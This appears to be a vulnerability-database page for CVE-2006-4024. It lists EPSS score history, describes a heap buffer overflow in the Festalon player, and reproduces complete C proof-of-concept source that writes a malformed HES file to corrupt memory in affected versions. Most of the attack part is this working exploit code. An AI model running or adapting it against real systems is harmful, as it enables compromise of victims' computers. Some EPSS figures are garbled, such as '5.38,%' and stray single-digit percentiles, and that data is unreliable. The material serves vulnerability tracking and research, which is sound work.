CVE-2006-4024 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	4.08%	–	–
2022-03-13	–	–	4.08%	–	–
2022-04-03	–	–	4.08%	–	–
2022-10-16	–	–	4.08%	–	–
2023-01-01	–	–	4.08%	–	–
2023-01-22	–	–	4.08%	–	–
2023-03-12	–	–	–	0.92%	–
2023-04-02	–	–	–	0.9%	–
2023-07-02	–	–	–	0.9%	–
2024-02-11	–	–	–	0.9%	–
2024-04-14	–	–	–	1%	–
2024-06-02	–	–	–	1%	–
2024-12-22	–	–	–	1%	–
2025-01-12	–	–	–	1%	–
2025-01-19	–	–	–	1%	–
2025-03-18	–	–	–	–	5.18%
2025-03-30	–	–	–	–	5.38%
2025-04-15	–	–	–	–	5.38%
2025-04-15	–	–	–	–	5.38,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	68%
2022-03-13	69%
2022-04-03	85%
2022-10-16	86%
2023-01-01	85%
2023-01-22	86%
2023-03-12	81%
2023-04-02	8%
2023-07-02	81%
2024-02-11	82%
2024-04-14	83%
2024-06-02	84%
2024-12-22	83%
2025-01-12	84%
2025-01-19	84%
2025-03-18	89%
2025-03-30	89%
2025-04-15	9%
2025-04-15	9%

// source: https://www.securityfocus.com/bid/19402/info A buffer-overflow vulnerability occurs in the Festalon application because the software fails to properly bounds-check user-supplied input before copying it to an insufficiently sized memory buffer. This issue may allow attackers to execute arbitrary machine code in the context of the affected application, which may facilitate the remote compromise of affected computers. Festalon versions 0.5.0 through 0.5.5 are vulnerable to this issue. /* by Luigi Auriemma */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #define VER "0.1" #define FESTALON_HES_LIMIT 0x100000 #define FESTALON_HES_SIZE 1501888 #define UNDERSIZE 32 // maximum amount of data before allocation #define FESTALON_HES_FRONT (0x2000 + 0x8000 + UNDERSIZE) #define HEAPOVERSZ (FESTALON_HES_FRONT + FESTALON_HES_LIMIT) void fwbof(FILE *fd, int len, int chr); void fwi08(FILE *fd, int num); void fwi16(FILE *fd, int num); void fwi32(FILE *fd, int num); void fwmem(FILE *fd, uint8_t *data, int size); void std_err(void); int main(int argc, char *argv[]) { FILE *fd; char *fname; setbuf(stdout, NULL); fputs("\n" "Festalon 0.5.0-0.5.5 heap corruption "VER"\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: aluigi.org\n" "\n", stdout); if(argc < 2) { printf("\n" "Usage: %s <output_file.NSF>\n" "\n", argv[0]); exit(1); } fname = argv[1]; printf("- create file %s\n", fname); fd = fopen(fname, "wb"); if(!fd) std_err(); fwmem(fd, "HESM", 4); // MAGIC-ID 'HESM' fwi08(fd, 0); // VERSION(0) fwi08(fd, 0); // START SONG fwi16(fd, 0); // REQUEST ADDRESS(LOGICAL ADDRESS) fwi08(fd, 0xff); // INITIAL MPR0($FF) fwi08(fd, 0xf8); // INITIAL MPR1($F8) fwi08(fd, 0); // INITIAL MPR2 fwi08(fd, 0); // INITIAL MPR3 fwi08(fd, 0); // INITIAL MPR4 fwi08(fd, 0); // INITIAL MPR5 fwi08(fd, 0); // INITIAL MPR6 fwi08(fd, 0x00); // INITIAL MPR7($00) fwmem(fd, "DATA", 4); // SUB-ID 'DATA' fwi32(fd, HEAPOVERSZ); // DATA SIZE fwi32(fd, -FESTALON_HES_FRONT); // LOAD ADDRESS(PHYSICAL ADDRESS) fwi32(fd, 0); // RESERVE(0) fwbof(fd, HEAPOVERSZ, 'a'); // DATA printf( "- this PoC forces the program to overwrite the %d bytes before the starting\n" " of the hes allocated memory\n", UNDERSIZE); fclose(fd); printf("- finished\n"); return(0); } void fwbof(FILE *fd, int len, int chr) { while(len--) fputc(chr, fd); } void fwi08(FILE *fd, int num) { fputc((num ) & 0xff, fd); } void fwi16(FILE *fd, int num) { fputc((num ) & 0xff, fd); fputc((num >> 8) & 0xff, fd); } void fwi32(FILE *fd, int num) { fputc((num ) & 0xff, fd); fputc((num >> 8) & 0xff, fd); fputc((num >> 16) & 0xff, fd); fputc((num >> 24) & 0xff, fd); } void fwmem(FILE *fd, uint8_t *data, int size) { fwrite(data, size, 1, fd); } void std_err(void) { perror("\nError"); exit(1); }